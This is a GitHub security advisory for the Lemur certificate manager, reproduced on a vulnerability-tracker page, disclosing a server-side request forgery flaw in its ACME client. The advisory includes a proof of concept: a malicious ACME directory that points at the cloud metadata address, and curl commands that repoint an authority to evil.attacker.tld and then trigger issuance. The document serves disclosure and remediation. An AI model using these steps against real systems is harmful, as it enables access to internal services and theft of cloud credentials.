GHSA-XPMJ-WJCP-6PWW

Vulnerability from github – Published: 2026-08-18 20:51 – Updated: 2026-08-18 20:51
VLAI
Summary
Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs
Details

Summary

The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an acme_url, then issues requests to URLs that the ACME server returns in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates acme_url against an allowlist of public ACME directories, but only at authority creation. The authority UPDATE path (PUT /authorities/<id>) accepts a new options blob with an arbitrary acme_url and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

Detail

Defect A - allowlist only at creation. _validate_acme_url (lemur/plugins/lemur_acme/plugin.py:35-53) restricts the host to {acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}. It runs only inside create_authority (lines 337, 481). The update path stores options verbatim:

# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # <- acme_url lives here, NO re-validation
)

AuthorityUpdateSchema.options = fields.String() (authorities/schemas.py:101) applies no validation. The docstring of _validate_acme_url even admits: "existing authorities in the DB were already trusted when they were created and are not re-validated."

Defect B - ACME client follows server-supplied URLs. setup_acme_client_no_retry (acme_handlers.py:161-162, 188-202) reads acme_url from stored authority options and creates an ACME client. Per RFC 8555, the client: 1. get_directory(acme_url) -> server returns newNonce, newOrder, revokeCert, keyChange URLs. 2. new_order() -> server returns finalize and authorizations URLs. 3. poll(), finalize_order(), cert download -> all hit server-chosen URLs.

A malicious ACME server can return internal URLs for all of these.

Authorization on update: Authorities.put requires AuthorityPermission(authority_id, roles) (views.py:412), satisfied by AuthorityOwnerNeed/AuthorityCreatorNeed - i.e. any member of the authority's role, not a global admin. This is the standard role a certificate issuer holds.

Source-to-sink trace:

PUT /api/1/authorities/<id> (AuthorityPermission = authority-role member)
  -> service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  <- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -> ACME client GET directory -> attacker returns newOrder=http://169.254.169.254/...
    -> Lemur POSTs JWS-signed request to internal URL

Steps to Reproduce (POC)

Step 1 - Attacker runs a malicious ACME directory server (e.g. evil.attacker.tld) that returns internal URLs in its directory and order responses:

# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # <- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}

Step 2 - Attacker (authority-role member) repoints an existing ACME authority:

curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'

Step 3 - Issue a certificate against the repointed authority (via UI/API):

curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer <JWT>" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'

The Lemur ACME client connects to evil.attacker.tld, reads the directory, and POSTs a JWS-signed request to http://169.254.169.254/... - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

Note: This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

Impact

  • JWS-authenticated POSTs to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
  • Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
  • The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a non-admin authority-role member without ever needing the admin-gated creation path.
  • Limitation: requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

Fix

  1. Re-run _validate_acme_url inside authorities/service.update / update_options, or make acme_url immutable after authority creation.
  2. In the ACME client wrapper, pin every outbound request host to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured acme_url hostname.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.2"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "lemur"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-70666"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T20:51:07Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nThe ACME client (used to issue certificates from Let\u0027s Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the **ACME server returns** in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but **only at authority creation**. The authority UPDATE path (`PUT /authorities/\u003cid\u003e`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority\u0027s role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.\n\n### Detail\n**Defect A - allowlist only at creation.**\n`_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs **only inside `create_authority`** (lines 337, 481). The update path stores `options` verbatim:\n```python\n# lemur/authorities/views.py:417-424  (Authorities.put)\nreturn service.update(\n    authority_id,\n    owner=data[\"owner\"], description=data[\"description\"],\n    active=data[\"active\"], roles=data[\"roles\"],\n    options=data.get(\"options\")          # \u003c- acme_url lives here, NO re-validation\n)\n```\n`AuthorityUpdateSchema.options = fields.String()` (`authorities/schemas.py:101`) applies no validation. The docstring of `_validate_acme_url` even admits: *\"existing authorities in the DB were already trusted when they were created and are not re-validated.\"*\n\n**Defect B - ACME client follows server-supplied URLs.**\n`setup_acme_client_no_retry` (`acme_handlers.py:161-162, 188-202`) reads `acme_url` from stored authority options and creates an ACME client. Per RFC 8555, the client:\n1. `get_directory(acme_url)` -\u003e server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs.\n2. `new_order()` -\u003e server returns `finalize` and `authorizations` URLs.\n3. `poll()`, `finalize_order()`, cert download -\u003e all hit **server-chosen URLs**.\n\nA malicious ACME server can return internal URLs for all of these.\n\n**Authorization on update:** `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any **member of the authority\u0027s role**, not a global admin. This is the standard role a certificate issuer holds.\n\n**Source-to-sink trace:**\n```\nPUT /api/1/authorities/\u003cid\u003e (AuthorityPermission = authority-role member)\n  -\u003e service.update(options={\"acme_url\":\"https://evil.attacker.tld/dir\"})  \u003c- no re-validation\n\u2026 next certificate issuance against this authority \u2026\n  setup_acme_client_no_retry reads acme_url=evil.attacker.tld\n    -\u003e ACME client GET directory -\u003e attacker returns newOrder=http://169.254.169.254/...\n    -\u003e Lemur POSTs JWS-signed request to internal URL\n```\n\n### Steps to Reproduce (POC)\n\n**Step 1 - Attacker runs a malicious ACME directory server** (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses:\n```python\n# Minimal: a directory endpoint that points \"newOrder\" at an internal target\n{\n  \"newNonce\": \"https://evil.attacker.tld/nonce\",\n  \"newOrder\": \"http://169.254.169.254/latest/meta-data/\",   # \u003c- internal\n  \"revokeCert\": \"https://evil.attacker.tld/revoke\",\n  \"keyChange\": \"https://evil.attacker.tld/key\"\n}\n```\n\n**Step 2 - Attacker (authority-role member) repoints an existing ACME authority:**\n```bash\ncurl -k -X PUT https://lemur.example.com/api/1/authorities/42 \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"name\":\"letsencrypt\",\n    \"owner\":\"attacker@corp.com\",\n    \"description\":\"x\",\"active\":true,\n    \"roles\":[{\"id\":7,\"name\":\"letsencrypt_operator\"}],\n    \"options\":\"[{\\\"name\\\":\\\"acme_url\\\",\\\"value\\\":\\\"https://evil.attacker.tld/dir\\\"},{\\\"name\\\":\\\"chain\\\",\\\"value\\\":\\\"\\\"}]\"\n  }\u0027\n```\n\n**Step 3 - Issue a certificate against the repointed authority** (via UI/API):\n```bash\ncurl -k -X POST https://lemur.example.com/api/1/certificates \\\n  -H \"Authorization: Bearer \u003cJWT\u003e\" -H \"Content-Type: application/json\" \\\n  -d \u0027{\"commonName\":\"demo.example.com\",\"owner\":\"attacker@corp.com\",\n       \"authority\":{\"name\":\"letsencrypt\"},\"validityYears\":1}\u0027\n```\nThe Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)\n\n\u003e *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.\n\n### Impact\n- **JWS-authenticated POSTs** to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.\n- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.\n- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a **non-admin** authority-role member without ever needing the admin-gated creation path.\n- **Limitation:** requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.\n\n### Fix\n1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` **immutable** after authority creation.\n2. In the ACME client wrapper, **pin every outbound request host** to the allowlisted directory host: reject any directory/order/finalize URL whose hostname \u2260 the configured `acme_url` hostname.",
  "id": "GHSA-xpmj-wjcp-6pww",
  "modified": "2026-08-18T20:51:07Z",
  "published": "2026-08-18T20:51:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/security/advisories/GHSA-xpmj-wjcp-6pww"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/commit/6dcb19b6d6004e97796d6a0344b130b2ba57f050"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Netflix/lemur"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Netflix/lemur/releases/tag/v1.9.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Lemur: Server-Side Request Forgery via the ACME client following server-controlled URLs"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…

Loading…